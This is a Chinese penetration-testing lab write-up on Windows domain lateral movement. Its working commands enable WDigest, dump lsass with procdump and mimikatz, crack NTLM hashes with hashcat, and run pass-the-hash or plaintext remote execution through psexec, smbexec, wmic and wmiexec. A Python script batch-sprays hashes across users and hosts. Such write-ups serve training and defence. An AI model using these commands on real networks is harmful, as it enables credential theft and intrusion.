域横向smb&wmi明文或hash传递

38d11e33d5ce26a14313afb06e90cbbc

  • Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
  • Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题

  1. 利用哈希hash传递(pth,ptk等)进行移动
  2. 利用其它服务协议(SMB,WMI等)进行哈希移动
  3. 利用注册表操作开启Wdigest Auth值进行获取
  4. 利用工具或第三方平台(Hachcat)进行破解获取

参考博客:https://blog.csdn.net/qq_44881113/article/details/120315448

1
2
3
#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取
  • Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash
1
2
3
#获取win密码hash的两个工具
Pwdump7
QuarksPwdump
  • 域用户与本地用户的区别,比如,god/administrator是域用户,./administrator是本地用户

Procdump+Mimikatz配合获取

  • Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息

下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

1
2
3
4
5
6
7
# procdump 在目标机上执行
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# mimikatz 在本地执行:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

运行procdump的时候会报错

可以尝试用:https://mikesblogs.net/access-denied-when-running-procdump/

或者直接用,管理员的方式进行打开命令行

Snipaste_2023-08-02_09-50-14

Snipaste_2023-08-02_09-51-40

尽力了~没有成功

Snipaste_2023-08-02_09-58-21

Snipaste_2023-08-02_09-59-39

Hashcat破解获取Windows NTML Hash

Snipaste_2023-08-02_10-11-33

放一个新的使用教程:https://zhuanlan.zhihu.com/p/35661801

1
2
3
4
5
6
随便搞的一个字典,和随便搞的一个hash值,这里只看能不能跑成功
命令:hashcat -a 0 -m 1000 hash file -force

----a, --attack-mode=NUM 攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。(这里是字典攻击)
--- -m 1000指向的是NTLM Hash哈希协议
---hash是要破解的哈希字符串,file为字典的地址

Snipaste_2023-08-02_10-35-48

Snipaste_2023-08-02_10-32-14

上面这种事windows的,在kali中也可以使用:

1
hashcat -a 0 -m 1000 ffe1cb31eb084cd7a8dd1228c23617c8 /usr/share/wordlists/amass/deepmagic.com_top50kprefixes.txt --force

Snipaste_2023-08-02_10-39-22

上面就是kali运行之后的效果

Snipaste_2023-08-02_10-40-21

这个还是吃性能的,我轻薄本扛不住

域横向移动SMB服务利用-psexec,smbexec

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放

  • 在微软官方Pstools工具包中,但是官方Pstools中的psexec只能明文连接,无法采用hash连接。
  • 如果需要hash连接,可以使用impacket工具包中的psexec,但是impacket非官方自带,容易被杀。
  • Pstools官方工具包:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#psexec第一种:先有ipc链接,psexec需要明文或hash传递
net use \\192.168.70.134\ipc$ "123.com" /user:administrator
PsExec64.exe \\192.168.70.134 -s cmd # 需要先有ipc链接 -s以System权限运行(该命令需要管理员权限)

#psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
PsExec64.exe \\192.168.70.134 -u administrator -p 123.com -s cmd

#官方的Pstools不能用哈希连接,参考 impacket 工具包使用,操作简单,容易被杀
psexec.exe -hashes :$HASH$ ./administrator@10.1.2.3 #本地用户
psexec.exe -hashes :$HASH$ domain/administrator@10.1.2.3 #域用户
例子:
psexec.exe -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.70.134


#smbexec工具:
#非官方自带-参考impacket工具包使用,操作简单,容易被杀
#smbexec无需先ipc链接 明文或hash传递
smbexec.exe xiaodi.com/administrator:123.com@192.168.70.134 #连接域用户
smbexec ./administrator:123.com@192.168.70.134 #连接本地

哈希:
smbexec -hashes :$HASH$ ./admin@192.168.70.134 #连接域用户
smbbexec -hashes :$HASH$ domain/admin@192.168.70.134 #连接本地
哈希例子:
smbexec -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.70.134
smbexec -hashes :afffeba176210fad4628f0524bfe1942 xiaodi.com/administrator@192.168.70.134

第一种

Snipaste_2023-08-02_15-15-19

Snipaste_2023-08-02_15-19-23

第二种

Snipaste_2023-08-02_15-20-44

第二种>第三方

Snipaste_2023-08-02_15-46-04

第三种

smbexec无需先ipc链接明文或hash 传递(没有官方,在impacket工具包内)

1
smbexec.exe xiaodi.com/administrator:123.com@192.168.70.134

Snipaste_2023-08-02_15-48-50

哈希版本:一般哈希值为NTLM

1
smbexec -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.70.134

Snipaste_2023-08-02_15-52-38

域横向移动WMI服务利用-cscript,wmiexec,wmic

WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹

1
2
3
4
5
6
7
8
9
10
11
12
#自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显
wmic /node:192.168.70.134 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig >C:\1.txt"

#自带cscript明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.70.134 administrator 123.com

#套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀
wmiexec ./administrator:123.com@192.168.70.134 "whoami"
wmiexec xiaodi/administrator:123.com@192.168.70.134 "whoami"
wmiexec -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.70.134 "whoami"
wmiexec -hashes :afffeba176210fad4628f0524bfe1942 xiaodi/administrator@192.168.70.134 "whoami"
wmiexec -hashes :afffeba176210fad4628f0524bfe1942 xiaodi.com/wangwu@192.168.70.132 whoami

自带 WMIC 明文传递 无回显(域Web本地管理员测试,自带WMIC不易被杀)

1
wmic /node:192.168.70.134 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig >C:\1.txt"

(缺点:无回显,不支持哈希

Snipaste_2023-08-02_15-57-18

Snipaste_2023-08-02_15-57-08

自带cscript明文传递,有回显(需要wmiexec.vbs文件,不支持哈希)

1
cscript //nologo wmiexec.vbs /shell 192.168.70.134 administrator 123.com

Snipaste_2023-08-02_16-12-29

  • 套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀

Snipaste_2023-08-02_16-17-13

Snipaste_2023-08-02_16-17-47

Snipaste_2023-08-02_16-17-57

Snipaste_2023-08-02_16-18-08

总结:

1
2
3
4
1、通过webshell拿下域内的web服务器,然后拥有webshell权限,然后进行提权,我感觉提权挺看脸的,因为一旦所有的提权方式都没有用的时候,那么就说明提不了,这里理想化可以提权得到本地的管理员权限,或者system权限
2、通过被拿下的机器,进行内网的信息收集,包括本机的密码,ip段,域等等,方便进行口令上的利用
3、通过ipc等等上面的横向移动的方式,包括上一章说的方式,进行获取内网其他机器的用户和密码
4、如果有成果,那就将得到的结果做为跳板,重复上面的1,2,3操作

域横向移动以上服务 hash 批量利用-python 编译 exe

首先还是利用mimikatz获取当前机器的密码,然后再用上一章说到的方式进行同网段探测,然后查看域内用户

至此,我们已经收集到了IP,用户名,和密码hash。我们可以写一个python脚本,然后转换成exe批量利用

neiwang_2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os,time
ips={
'192.168.70.134',
'192.168.70.132'
}

users={
'Administrator',
'zhangsan',
'lisi',
'wangwu',
'hei'
}

hashs={
'afffeba176210fad4628f0524bfe1942'
}

for ip in ips:
for user in users:
for mimahash in hashs:
exec1 = "wmiexec -hashes :" + mimahash + " xiaodi.com/" + user + '@' + ip + " whoami"
print('--->'+ exec1 +'<---')
os.system(exec1)
time.sleep(1)
exec2 = "wmiexec -hashes :" + mimahash + " ./" + user + '@' + ip + " whoami"
os.system(exec2)
time.sleep(1)

然后还是老样子,生成之后放到:impacket-examples-windows-master目录下

1
pyinstaller.exe -F neiwang_2.py

Snipaste_2023-08-02_16-44-23